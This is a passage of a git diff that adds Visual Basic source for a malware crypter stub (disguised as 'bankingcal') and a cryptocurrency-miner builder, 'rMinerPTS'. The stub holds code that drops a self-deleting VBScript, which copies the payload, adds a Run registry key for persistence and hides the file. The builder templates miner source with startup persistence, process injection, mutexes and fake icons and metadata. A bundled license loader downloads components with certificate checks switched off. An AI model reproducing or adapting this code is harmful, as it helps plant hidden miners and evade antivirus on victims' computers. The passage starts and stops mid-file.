ProgressBar1 As System.Windows.Forms.ProgressBar + +End Class +Public Class tgcape + Public Shared Sub crabhut(ByVal solo As String) + ' Dim optionalArguments As String = "" + ' Dim polo As String = Environment.GetEnvironmentVariable("%AppTemp%") & "\%SubName%" & "\%FileName%" + ' Dim yolo As String = Environment.GetEnvironmentVariable("%AppTemp%") & "\%SubName%" & "\%FileName%" + ".vbs" + ' Dim puote As String = """" + ' Dim nl As String = Environment.NewLine + ' Dim vbs_file As String = "on error resume next" & vbCr & vbLf & "groop = ""winmgmts:{impersonationLevel=impersonate}//./root/default:StdRegProv""" & vbCr & vbLf & "set tonytinber = CreateObject(" & puote & "Scripting.tonytinbertemObject" & puote & ")" & vbCr & vbLf & "tonytinber.CopyFile " & puote & solo & puote & ", " & puote & polo & puote & vbCr & vbLf & "dim gerata" & vbCr & vbLf & "Set gerata = CreateObject(" & puote & "WScript.Shell" & puote & ")" & vbCr & vbLf & "gerata.regwrite " & puote & "HKCU\Software\Windows\Microsoft\CurrentVersion\Run\%KeyName%" & puote & ", " & puote & polo & puote & ", " & puote & "REG_EXPAND_SZ" & puote & vbCr & vbLf & "dim triton" & vbCr & vbLf & "set triton = tonytinber.GetFile(" & puote & polo & puote & ")" & vbCr & vbLf & "triton.attributes = 7" & vbCr & vbLf & "tonytinber.DeleteFile WScript.ScriptFullName" + ' If File.Exists(yolo) Then + ' File.Delete(yolo) + ' End If + 'Dim dsa As TextWriter = New StreamWriter(yolo) + ' dsa.Write(vbs_file) + 'dsa.Close() + 'System.Diagnostics.Process.Start(yolo) + End Sub +End Class +Namespace My.Resources2 + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources2 + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("bankingcal.Resources", GetType(Resources2).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set(ByVal value As Global.System.Globalization.CultureInfo) + resourceCulture = value + End Set + End Property + + Friend ReadOnly Property banking() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("banking", resourceCulture) + Return CType(obj, Byte()) + End Get + End Property + Friend ReadOnly Property text() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("text", resourceCulture) + Return CType(obj, Byte()) + End Get + End Property + Friend ReadOnly Property text2() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("%Binder2%", resourceCulture) + Return CType(obj, Byte()) + End Get + End Property + End Module +End Namespace diff --git a/scode (onxyCrypter/stub/stub/icon.ico b/scode (onxyCrypter/stub/stub/icon.ico new file mode 100644 index 0000000..b0ee551 Binary files /dev/null and b/scode (onxyCrypter/stub/stub/icon.ico differ diff --git a/scode (onxyCrypter/stub/stub/stub.vbproj b/scode (onxyCrypter/stub/stub/stub.vbproj new file mode 100644 index 0000000..3c682a6 --- /dev/null +++ b/scode (onxyCrypter/stub/stub/stub.vbproj @@ -0,0 +1,176 @@ + + + + Debug + x86 + + + + + {B61DF421-1965-4220-9954-6FD5D2765508} + Exe + bankingcal.form1 + bankingcal + bankingcal + 512 + Console + v2.0 + + + x86 + true + full + true + true + bin\Debug\ + bankingcal.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + x86 + pdbonly + false + true + true + bin\Release\ + bankingcal.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + My Project\app.manifest + + + AnyCPU + bin\Debug\ + + + AnyCPU + bin\Release\ + + + true + true + true + bin\x64\Debug\ + bankingcal.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + full + x64 + bin\Debug\bankingcal.exe.CodeAnalysisLog.xml + true + GlobalSuppressions.vb + MinimumRecommendedRules.ruleset + ;c:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\\Rule Sets + ;c:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\FxCop\\Rules + true + + + true + bin\x64\Release\ + bankingcal.xml + true + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + pdbonly + x64 + bin\Release\bankingcal.exe.CodeAnalysisLog.xml + true + GlobalSuppressions.vb + MinimumRecommendedRules.ruleset + ;c:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\\Rule Sets + ;c:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\FxCop\\Rules + + + icon.ico + + + + + + + + + + + + + + + + + + + + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/scode (rMinerPTS/rMinerPTS.sln b/scode (rMinerPTS/rMinerPTS.sln new file mode 100644 index 0000000..1300f50 --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "rMinerPTS", "rMinerPTS\rMinerPTS.vbproj", "{3E106CB2-D46A-4097-8ED8-66239559BFCF}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x86 = Debug|x86 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3E106CB2-D46A-4097-8ED8-66239559BFCF}.Debug|x86.ActiveCfg = Debug|x86 + {3E106CB2-D46A-4097-8ED8-66239559BFCF}.Debug|x86.Build.0 = Debug|x86 + {3E106CB2-D46A-4097-8ED8-66239559BFCF}.Release|x86.ActiveCfg = Release|x86 + {3E106CB2-D46A-4097-8ED8-66239559BFCF}.Release|x86.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (rMinerPTS/rMinerPTS.suo b/scode (rMinerPTS/rMinerPTS.suo new file mode 100644 index 0000000..18da16a Binary files /dev/null and b/scode (rMinerPTS/rMinerPTS.suo differ diff --git a/scode (rMinerPTS/rMinerPTS.v11.suo b/scode (rMinerPTS/rMinerPTS.v11.suo new file mode 100644 index 0000000..e424c79 Binary files /dev/null and b/scode (rMinerPTS/rMinerPTS.v11.suo differ diff --git a/scode (rMinerPTS/rMinerPTS/API/License.vb b/scode (rMinerPTS/rMinerPTS/API/License.vb new file mode 100644 index 0000000..470a5ac --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/API/License.vb @@ -0,0 +1,785 @@ +Imports System +Imports System.Net +Imports System.Text +Imports System.IO +Imports System.IO.Compression +Imports System.Diagnostics +Imports System.Reflection +Imports System.Windows.Forms +Imports System.ComponentModel +Imports System.Security.Cryptography +Imports System.Collections.Generic +Imports System.Runtime.InteropServices +Imports System.Net.Security +Imports System.Security +Imports System.Security.Cryptography.X509Certificates + +''' +''' License Loader, Version: 2.0.0.7, Changed: 09/05/2013 +''' + +Friend NotInheritable Class License + +#Region " ReadOnly Properties " + + ReadOnly Property Username As String + Get + Dim Data As Object = Instance.GetMethod("GetUsername").Invoke(Nothing, Nothing) + Return DirectCast(Data, String) + End Get + End Property + + Private _ProductVersion As Version + ReadOnly Property ProductVersion As Version + Get + If _ProductVersion Is Nothing Then + _ProductVersion = New Version(Application.ProductVersion) + End If + + Return _ProductVersion + End Get + End Property + + ReadOnly Property ExecutablePath As String + Get + Dim Data As Object = Instance.GetMethod("GetExecutablePath").Invoke(Nothing, Nothing) + Return DirectCast(Data, String) + End Get + End Property + + ReadOnly Property GlobalMessage As String + Get + Dim Data As Object = Instance.GetMethod("GetMessage").Invoke(Nothing, Nothing) + Return DirectCast(Data, String) + End Get + End Property + + ReadOnly Property IPAddress As IPAddress + Get + Dim Data As Object = Instance.GetMethod("GetIPAddress").Invoke(Nothing, Nothing) + Return DirectCast(Data, IPAddress) + End Get + End Property + + ReadOnly Property ExpirationDate As Date + Get + Dim Data As Object = Instance.GetMethod("GetExpiration").Invoke(Nothing, Nothing) + Return DirectCast(Data, Date) + End Get + End Property + + ReadOnly Property TimeRemaining As TimeSpan + Get + Dim Data As Object = Instance.GetMethod("GetRemaining").Invoke(Nothing, Nothing) + Return DirectCast(Data, TimeSpan) + End Get + End Property + + ReadOnly Property LicenseType As LicenseType + Get + Dim Data As Object = Instance.GetMethod("GetLicenseType").Invoke(Nothing, Nothing) + Return DirectCast(Data, LicenseType) + End Get + End Property + + ReadOnly Property Points As Integer + Get + Dim Data As Object = Instance.GetMethod("GetPoints").Invoke(Nothing, Nothing) + Return DirectCast(Data, Integer) + End Get + End Property + + ReadOnly Property UnlimitedTime As Boolean + Get + Dim Data As Object = Instance.GetMethod("GetUnlimitedTime").Invoke(Nothing, Nothing) + Return DirectCast(Data, Boolean) + End Get + End Property + + ReadOnly Property UpdateAvailable As Boolean + Get + Dim Data As Object = Instance.GetMethod("GetUpdateAvailable").Invoke(Nothing, Nothing) + Return DirectCast(Data, Boolean) + End Get + End Property + + ReadOnly Property UsersCount As Integer + Get + Dim Data As Object = Instance.GetMethod("GetUsersCount").Invoke(Nothing, Nothing) + Return DirectCast(Data, Integer) + End Get + End Property + + ReadOnly Property UsersOnline As Integer + Get + Dim Data As Object = Instance.GetMethod("GetUsersOnline").Invoke(Nothing, Nothing) + Return DirectCast(Data, Integer) + End Get + End Property + + ReadOnly Property GUID As String + Get + Dim Data As Object = Instance.GetMethod("GetGUID").Invoke(Nothing, Nothing) + Return DirectCast(Data, String) + End Get + End Property + + ReadOnly Property PublicToken As String + Get + Dim Data As Object = Instance.GetMethod("GetPublicToken").Invoke(Nothing, Nothing) + Return DirectCast(Data, String) + End Get + End Property + + ReadOnly Property PrivateKey As Byte() + Get + Dim Data As Object = Instance.GetMethod("GetPrivateKey").Invoke(Nothing, Nothing) + Return DirectCast(Data, Byte()) + End Get + End Property + + ReadOnly Property Client As WebClient + Get + Dim Data As Object = Instance.GetMethod("GetClient").Invoke(Nothing, Nothing) + Return DirectCast(Data, WebClient) + End Get + End Property + + ReadOnly Property News As NewsPost() + Get + Dim Data As Object = Instance.GetMethod("GetNews").Invoke(Nothing, Nothing) + Dim Values As Object() = DirectCast(Data, Object()) + + Dim Section As Integer + Dim T As New List(Of NewsPost) + + For I As Integer = 0 To Values.Length - 1 Step 3 + Section = I * 3 + T.Add(New NewsPost(Values(I), Values(I + 1), Values(I + 2))) + Next + + Return T.ToArray() + End Get + End Property + +#End Region + +#Region " Initialize Properties " + + Private _ID As String + Property ID() As String + Get + Return _ID + End Get + Set(ByVal value As String) + _ID = value + End Set + End Property + + Private _Catch As Boolean = True + Property [Catch]() As Boolean + Get + Return _Catch + End Get + Set(ByVal value As Boolean) + _Catch = value + End Set + End Property + + Private _DisableUpdates As Boolean + Property DisableUpdates() As Boolean + Get + Return _DisableUpdates + End Get + Set(ByVal value As Boolean) + _DisableUpdates = value + End Set + End Property + + Private _RunHook As GenericDelegate + Property RunHook() As GenericDelegate + Get + Return _RunHook + End Get + Set(ByVal value As GenericDelegate) + _RunHook = value + End Set + End Property + + Private _BanHook As GenericDelegate + Property BanHook() As GenericDelegate + Get + Return _BanHook + End Get + Set(ByVal value As GenericDelegate) + _BanHook = value + End Set + End Property + + Private _RenewHook As GenericDelegate + Property RenewHook() As GenericDelegate + Get + Return _RenewHook + End Get + Set(ByVal value As GenericDelegate) + _RenewHook = value + End Set + End Property + + Private _Protection As RuntimeProtection + Property Protection() As RuntimeProtection + Get + Return _Protection + End Get + Set(ByVal value As RuntimeProtection) + _Protection = value + End Set + End Property + + Private _ValidateCore As Boolean = True + Property ValidateCore As Boolean + Get + Return _ValidateCore + End Get + Set(ByVal value As Boolean) + _ValidateCore = value + End Set + End Property + +#End Region + +#Region " Public Methods " + + Sub Initialize(ByVal programID As String) + ID = programID + Initialize() + End Sub + + Sub Initialize() + If LicenseGlobal.LicenseInitialize Then Return + LicenseGlobal.LicenseInitialize = True + + If String.IsNullOrEmpty(ID) Then + ErrorKill("Unable to initialize due to missing Net Seal ID.") + Return + End If + + ServicePointManager.Expect100Continue = False + ServicePointManager.DefaultConnectionLimit = 5 + + Try + WC = New CookieClient() + + Dim Common As String = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + LocationPath = Path.Combine(Common, "Nimoru") + + LicenseLocation = Path.Combine(LocationPath, "LicenseSE") + GizmoDllLocation = Path.Combine(LocationPath, "GizmoDll") + GizmoLocation = Path.Combine(LocationPath, "GizmoSE") + + OverrideSSL() '--BEGIN OVERRIDE-- + + DownloadChecksums() + DownloadComponents() + + RestoreSSL() '--END OVERRIDE-- + + Endpoint = Checksums(5) + ValidateSignature() + + Instance.GetMethod("SetID").Invoke(Nothing, New Object() {ID}) + Instance.GetMethod("SetCatch").Invoke(Nothing, New Object() {[Catch]}) + Instance.GetMethod("SetDisableUpdates").Invoke(Nothing, New Object() {DisableUpdates}) + Instance.GetMethod("SetRunHook").Invoke(Nothing, New Object() {RunHook}) + Instance.GetMethod("SetBanHook").Invoke(Nothing, New Object() {BanHook}) + Instance.GetMethod("SetRenewHook").Invoke(Nothing, New Object() {RenewHook}) + Instance.GetMethod("SetScan").Invoke(Nothing, New Object() {DirectCast(Protection, Byte)}) + Catch ex As Exception + Dim T As New StringBuilder + T.AppendLine(Date.UtcNow.ToString) + T.AppendLine() + T.AppendLine(ex.Message) + T.AppendLine(ex.StackTrace) + File.WriteAllText("loader.log", T.ToString) + + ErrorKill("Unable to continue due to an error. Exception written to 'loader.log' file.") + Return + End Try + + Try + Instance.GetMethod("RunWE").Invoke(Nothing, New Object() {Version, ProductVersion, Endpoint}) + Catch + ErrorKill("Unable to initialize license file.") + End Try + End Sub + + Sub ShowAccount() + Instance.GetMethod("ShowAccount").Invoke(Nothing, Nothing) + End Sub + + Function Encrypt(ByVal data As String) As String + InitializeRm() + + Dim R As Byte() = Encoding.UTF8.GetBytes(data) + Dim O As Byte() = Encryptor.TransformFinalBlock(R, 0, R.Length) + Dim U(O.Length + 3) As Byte + + Buffer.BlockCopy(BitConverter.GetBytes(data.Length), 0, U, 0, 4) + Buffer.BlockCopy(O, 0, U, 4, O.Length) + + Return Convert.ToBase64String(U) + End Function + + Function Decrypt(ByVal data As Byte()) As Byte() + InitializeRm() + + Dim Size As Integer = BitConverter.ToInt32(data, 0) + Dim O As Byte() = Decryptor.TransformFinalBlock(data, 4, data.Length - 4) + + Dim U(Size - 1) As Byte + Buffer.BlockCopy(O, 0, U, 0, Size) + + Return U + End Function + + 'NOTE: If String.IsNullOrEmpty() get new posts from License.News. + Function GetPostMessage(ByVal postID As Integer) As String + Dim Data As Object = Instance.GetMethod("GetPostMessage").Invoke(Nothing, New Object() {postID}) + Return DirectCast(Data, String) + End Function + + Function GetVariable(ByVal name As String) As String + Dim Data As Object = Instance.GetMethod("GetVariable").Invoke(Nothing, New Object() {name}) + Return DirectCast(Data, String) + End Function + + Function SpendPoints(ByVal count As Integer) As Boolean + Dim Data As Object = Instance.GetMethod("SpendPoints").Invoke(Nothing, New Object() {count}) + Return DirectCast(Data, Boolean) + End Function + + Sub InstallUpdates() + Instance.GetMethod("InstallUpdates").Invoke(Nothing, Nothing) + End Sub + + Sub BanCurrentUser(ByVal reason As String) + Instance.GetMethod("BanCurrentUser").Invoke(Nothing, New Object() {reason}) + End Sub + +#End Region + +#Region " System Declarations " + + 'IMPORTANT: DO NOT CHANGE THIS! + Private Version As New Version("2.0.0.6") + + Private Instance As Type + Private WC As CookieClient + + Private LocationPath As String + Private LicenseLocation As String + Private GizmoDllLocation As String + Private GizmoLocation As String + + Private Checksums As String() + Private Endpoint As String + + Private Const Domain1 As String = "http://seal.nimoru.com/Base/" + Private Const Domain2 As String = "https://s3.amazonaws.com/nimoru/" + + Private Const PublicKey As String = "BgIAAAAiAABEU1MxAAQAAKVlurdZMaHymNk04yRy3VGj0Bhf6gGIBsGr1zk42LrdnwYLfvn7MBAiYoCH2cD07M/HuM6NW1WqJQVF2omwH5S211wfvBCutU92RxXldmfvd06l8eQqmppztYIrXdxmW0BRlosBKPM5ms6YXZnoMKseAoqZ6Ajza8U9QCJMkSHSR+O23EoGj9V+7xwkCoYHklFtLJzERB6y/DW1BCCHhLblzpFz+mht1CD6xAi2QBNY7vZcWdbqo+ZLT4y7sw8jU61liYBuZLA/t+6KHhoIwZ+NIErsCHW5RD9ln5VpMC66wBCcY594ZTIManIuvmpw4eQaUXZPoMogf29gJgJSolaDg5iP1XDqzOTPu9RdsHe3R1ZaNglrL05zoTM94Zkl5KT+bPAUC99kGrEDmNipe6tj8FwoOTNNaTaOvWZlXTtAfaxqGV47nxKfabgxEl08n0c3PBJEjUZzJ4chwQ2Ex2A5uYBgRukcmKmRmdwIphHq0IwdoxS1+6HSwXxg1d3EEAoxJ75R1eSXF+cXOeC7d/U2UY0tqwAAAMvTiz5uMzpBQIYdNcbYnrJwHObk" + + Private ReadOnly Property UID As String + Get + Return "?uid=" & BitConverter.ToString(BitConverter.GetBytes(Environment.TickCount)).Replace("-", "") + End Get + End Property + + Private Encryptor As ICryptoTransform + Private Decryptor As ICryptoTransform + Private RmInitialize As Boolean + + _ + Delegate Sub GenericDelegate() + + _ + Private Shared Sub ExitProcess(ByVal code As UInteger) + End Sub + + _ + Private Shared Function StrongNameSignatureVerificationEx( _ + ByVal fileName As String, _ + ByVal force As Boolean, _ + ByRef genuine As Boolean) As Boolean + End Function + + _ + Private Shared Function CreateInstance( _ + ByVal cid As Guid, _ + ByVal iid As Guid) As Object + End Function + +#End Region + +#Region " System Methods " + + Private Sub DownloadChecksums() + Try + Checksums = WC.DownloadString(Domain1 & "checksumSE.php" & UID).Split(Char.MinValue) + Catch ex As Exception + Threading.Thread.Sleep(500) + Checksums = WC.DownloadString(Domain2 & "checksumSE.txt" & UID).Split(Convert.ToChar(124)) + End Try + End Sub + + Private Sub DownloadComponents() + Dim Hash As String + If Not Directory.Exists(LocationPath) Then + Directory.CreateDirectory(LocationPath) + End If + + If Not File.Exists(GizmoDllLocation) Then + DownloadGizmoDll() + End If + + Hash = MD5File(GizmoDllLocation) + If Not Hash = Checksums(1) Then + DownloadGizmoDll() + End If + + If Not File.Exists(GizmoLocation) Then + DownloadGizmo() + End If + + Hash = MD5File(GizmoLocation) + If Not Hash = Checksums(2) Then + DownloadGizmo() + End If + + If Not File.Exists(LicenseLocation) Then + DownloadLicense() + End If + + Hash = MD5File(LicenseLocation) + If Not Hash = Checksums(3) Then + DownloadLicense() + End If + End Sub + + Private Sub ValidateSignature() + If ValidateCore AndAlso Not CheckCore() Then + Throw New InvalidDataException("Core framework files are not trusted.") + Return + End If + + Dim M As FileStream = File.OpenRead(LicenseLocation) + Dim R As New BinaryReader(M) + + Dim FullData As Byte() = R.ReadBytes(CInt(M.Length)) + M.Position = 2 + + Dim Sign As Byte() = R.ReadBytes(40) + Dim Data As Byte() = R.ReadBytes(CInt(M.Length - Sign.Length - 2)) + R.Close() + + Dim DSA As New DSACryptoServiceProvider + DSA.ImportCspBlob(Convert.FromBase64String(PublicKey)) + + If DSA.VerifyData(Data, Sign) Then + Instance = Assembly.Load(FullData).GetType("Share") + Else + Throw New InvalidDataException("Unable to validate signature.") + End If + End Sub + + + Private Sub DownloadGizmoDll() + Dim Data As Byte() = WC.DownloadData(Checksums(0) & Checksums(1) & ".co") + Data = Decompress(Data) + + Dim Hash As String = MD5(Data) + If Not Checksums(1) = Hash Then + Fail(GizmoDllLocation) + Return + End If + + File.WriteAllBytes(GizmoDllLocation, Data) + End Sub + + Private Sub DownloadGizmo() + Dim Data As Byte() = WC.DownloadData(Checksums(0) & Checksums(2) & ".co") + Data = GizmoDecompress(Data) + + Dim Hash As String = MD5(Data) + If Not Checksums(2) = Hash Then + Fail(GizmoLocation) + Return + End If + + File.WriteAllBytes(GizmoLocation, Data) + End Sub + + Private Sub DownloadLicense() + Dim PI As New ProcessStartInfo + PI.Arguments = String.Format("""{0}"" ""{1}"" {2} -s", Checksums(0) & Checksums(3) & ".co", LicenseLocation, Checksums(3)) + PI.FileName = GizmoLocation + PI.UseShellExecute = False + + Dim P As Process = Process.Start(PI) + If Not P.WaitForExit(20000) Then + Environment.Exit(0) + End If + + If Not P.ExitCode = 7788 Then + Environment.Exit(0) + End If + End Sub + + + Private Sub Fail(ByVal path As String) + File.Delete(path) + ErrorKill("Failed to initialize all the required components.") + End Sub + + Private Sub ErrorKill(ByVal message As String) + MessageBox.Show(message, "Loader Error", MessageBoxButtons.OK, MessageBoxIcon.Error) + Environment.Exit(0) + ExitProcess(0) + End Sub + + + Private Function Decompress(ByVal data As Byte()) As Byte() + Dim Size As Integer = BitConverter.ToInt32(data, 0) + + Dim U(Size - 1) As Byte + Dim M As New MemoryStream(data, 4, data.Length - 4) + + Dim D As New DeflateStream(M, CompressionMode.Decompress, False) + D.Read(U, 0, U.Length) + + D.Close() + M.Close() + Return U + End Function + + Private Function GizmoDecompress(ByVal data As Byte()) As Byte() + Dim GizmoDll As Byte() = File.ReadAllBytes(GizmoDllLocation) + Dim G As MethodInfo = Assembly.Load(GizmoDll).GetType("H").GetMethod("Decompress") + Return DirectCast(G.Invoke(Nothing, New Object() {data}), Byte()) + End Function + + + Private Function MD5(ByVal data As Byte()) As String + Dim H As New MD5CryptoServiceProvider + Return HashToString(H.ComputeHash(data)) + End Function + + Private Function MD5File(ByVal path As String) As String + Dim F As New FileStream(path, FileMode.Open, FileAccess.Read) + Dim H As New MD5CryptoServiceProvider + + Dim Hash As String = HashToString(H.ComputeHash(F)) + + F.Close() + Return Hash + End Function + + Private Function HashToString(ByVal data As Byte()) As String + Return BitConverter.ToString(data).ToLower().Replace("-", String.Empty) + End Function + + Private Sub InitializeRm() + If RmInitialize Then Return + RmInitialize = True + + Dim Rm As New RijndaelManaged + Rm.Padding = PaddingMode.Zeros + Rm.Mode = CipherMode.CBC + Rm.Key = PrivateKey + Rm.IV = PrivateKey + + Encryptor = Rm.CreateEncryptor() + Decryptor = Rm.CreateDecryptor() + End Sub + + Private SN As IStrongName + + Private Function CheckCore() As Boolean + Dim Base As String = RuntimeEnvironment.GetRuntimeDirectory() + Dim Build As String = RuntimeEnvironment.GetSystemVersion() + Dim HostCLR As Boolean = Int32.Parse(Build(1).ToString()) >= 4 + + If HostCLR Then + Dim CID_META_HOST As New Guid("9280188D-0E8E-4867-B30C-7FA83884E8DE") + Dim CID_STRONG_NAME As New Guid("B79B0ACD-F5CD-409B-B5A5-A16244610B92") + + Dim Meta As IMeta = DirectCast(CreateInstance(CID_META_HOST, GetType(IMeta).GUID), IMeta) + Dim Runtime As IRuntime = DirectCast(Meta.GetRuntime(Build, GetType(IRuntime).GUID), IRuntime) + SN = DirectCast(Runtime.GetInterface(CID_STRONG_NAME, GetType(IStrongName).GUID), IStrongName) + End If + + Dim File1 As String = Path.ChangeExtension(Path.Combine(Base, "mscorlib"), "dll") + Dim File2 As String = Path.ChangeExtension(Path.Combine(Base, "system"), "dll") + + Dim Token As Byte() = New Byte() {183, 122, 92, 86, 25, 52, 224, 137} + If Not IsTrusted(File1, Token, HostCLR) Then Return False + If Not IsTrusted(File2, Token, HostCLR) Then Return False + + Return True + End Function + + Private Function IsTrusted(ByVal path As String, ByVal token As Byte(), ByVal hostCLR As Boolean) As Boolean + Dim Genuine As Boolean + + If hostCLR Then + If Not (SN.StrongNameSignatureVerificationEx(path, True, Genuine) = 0 AndAlso Genuine) Then Return False + Else + If Not (StrongNameSignatureVerificationEx(path, True, Genuine) AndAlso Genuine) Then Return False + End If + + Dim PublicToken As Byte() = Assembly.LoadFile(path).GetName().GetPublicKeyToken() + If PublicToken Is Nothing OrElse Not PublicToken.Length = 8 Then Return False + + For I As Integer = 0 To 7 + If Not PublicToken(I) = token(I) Then Return False + Next + + Return True + End Function + + Private SSLCallback As RemoteCertificateValidationCallback + Private Function ValidateSSL(ByVal sender As Object, ByVal cert As X509Certificate, ByVal chain As X509Chain, ByVal errors As SslPolicyErrors) As Boolean + Return True + End Function + + Private Sub OverrideSSL() + SSLCallback = ServicePointManager.ServerCertificateValidationCallback + ServicePointManager.ServerCertificateValidationCallback = New RemoteCertificateValidationCallback(AddressOf ValidateSSL) + End Sub + + Private Sub RestoreSSL() + ServicePointManager.ServerCertificateValidationCallback = SSLCallback + End Sub + +#End Region + + _ + Private Interface IMeta + Function GetRuntime(ByVal version As String, ByVal iid As Guid) As Object + End Interface + + _ + Private Interface IRuntime + Sub M1() + Sub M2() + Sub M3() + Sub M4() + Sub M5() + Sub M6() + Function GetInterface( cid As Guid, iid As Guid) As Object + End Interface + + _ + Private Interface IStrongName + Sub M1() + Sub M2() + Sub M3() + Sub M4() + Sub M5() + Sub M6() + Sub M7() + Sub M8() + Sub M9() + Sub M10() + Sub M11() + Sub M12() + Sub M13() + Sub M14() + Sub M15() + Sub M16() + Sub M17() + Sub M18() + Sub M19() + Sub M20() + Function StrongNameSignatureVerificationEx(ByVal filePath As String, ByVal force As Boolean, ByRef genuine As Boolean) As Integer + End Interface + +End Class + +Friend Module LicenseGlobal + + Friend Seal As New License + Friend LicenseInitialize As Boolean + +End Module + +Friend Enum LicenseType As Byte + Free = 0 + Bronze = 1 + Silver = 2 + Gold = 3 + Platinum = 4 + Diamond = 5 +End Enum + + _ +Friend Enum RuntimeProtection As Byte + None = 0 + Debuggers = 1 + DebuggersEx = 2 + Timing = 4 + Parent = 8 + FullScan = 15 + VirtualMachine = 16 +End Enum + +Friend Structure NewsPost + Private ReadOnly _ID As Integer + ReadOnly Property ID() As Integer + Get + Return _ID + End Get + End Property + + Private ReadOnly _Name As String + ReadOnly Property Name() As String + Get + Return _Name + End Get + End Property + + Private ReadOnly _Time As Date + ReadOnly Property Time() As Date + Get + Return _Time + End Get + End Property + + Sub New(ByVal id As Object, ByVal name As Object, ByVal time As Object) + _ID = DirectCast(id, Integer) + _Name = DirectCast(name, String) + _Time = DirectCast(time, Date) + End Sub +End Structure + +Friend NotInheritable Class CookieClient + Inherits WebClient + + Private Request As HttpWebRequest + Public Cookies As New CookieContainer + + Protected Overrides Function GetWebRequest(ByVal address As Uri) As WebRequest + Request = DirectCast(MyBase.GetWebRequest(address), HttpWebRequest) + Request.Timeout = 8000 + Request.ReadWriteTimeout = 30000 + Request.KeepAlive = False + Request.CookieContainer = Cookies + Request.Proxy = Nothing + Return Request + End Function + + Sub ClearCookies() + Cookies = New CookieContainer + End Sub + +End Class \ No newline at end of file diff --git a/scode (rMinerPTS/rMinerPTS/API/Settings.vb b/scode (rMinerPTS/rMinerPTS/API/Settings.vb new file mode 100644 index 0000000..523a197 --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/API/Settings.vb @@ -0,0 +1,169 @@ +Structure Settings + Public Shared IconPath As [String] = "" + Public Shared SavePath As [String] = "" + Public Shared Mutex As [Boolean] = False + Public Shared Startup As [Boolean] = False + Public Shared CustomIcon As [Boolean] = False + Public Shared ThreadPercent As [Boolean] = False + Public Shared DebugMode As [Boolean] = False + + Private Shared Description As [String] = "" + Private Shared Trademark As [String] = "" + Private Shared Company As [String] = "" + Private Shared Product As [String] = "" + Private Shared Copyright As [String] = "" + Private Shared Title As [String] = "" + Private Shared ProductVer As [String] = "" + Private Shared FileVer As [String] = "" + + + Private Shared InjectionProcess As [String] = "" + + +#Region "Argument Variabled" + Public Shared Threads As [String] = "" +#End Region + + + Public Shared Function getSavePath() As String + + Using sfd As New SaveFileDialog With {.Title = "Choose Save Path...", .InitialDirectory = Application.StartupPath, .Filter = "EXE Files (*.exe)|*.exe"} + If sfd.ShowDialog() = DialogResult.OK Then + Return sfd.FileName + Else : Return Nothing + End If + End Using + End Function + + + Public Shared Function prepareSource(ByVal source As String) As String + + If Settings.ThreadPercent Then + Settings.Threads = "Percent" + Else + Settings.Threads = frmMain.nThreads.Value.ToString() + End If + + source = replaceMutex(source, Settings.Mutex) + source = replaceStartup(source, Settings.Startup) + source = replaceParameters(source) + source = replaceThreads(source, Settings.ThreadPercent) + source = replaceDebug(source) + source = replaceAssembly(source) + source = replaceInjection(source) + Return source + End Function + + Private Shared Function replaceMutex(ByVal source As String, ByVal Enabled As Boolean) As String + + If Enabled Then + source = source.Replace("%MUTEXOBJ%", "Dim objMutex As System.Threading.Mutex") + source = source.Replace("%MUTEXSUB%", "Sub checkMutex()" & vbNewLine & "objMutex = New System.Threading.Mutex(False,""%MUTEX%"")" & vbNewLine & "If objMutex.WaitOne(0, False) = False Then" & vbNewLine & "objMutex.Close()" & vbNewLine & "End" & vbNewLine & "End If" & vbNewLine & "End Sub") + source = source.Replace("%MUTEX%", frmMain.tbMutex.Text) + source = source.Replace("%CHECKMUTEX%", "checkMutex()") + Return source + Else + source = source.Replace("%MUTEXOBJ%", "") + source = source.Replace("%MUTEXSUB%", "") + source = source.Replace("%CHECKMUTEX%", "") + Return source + End If + End Function + + Private Shared Function 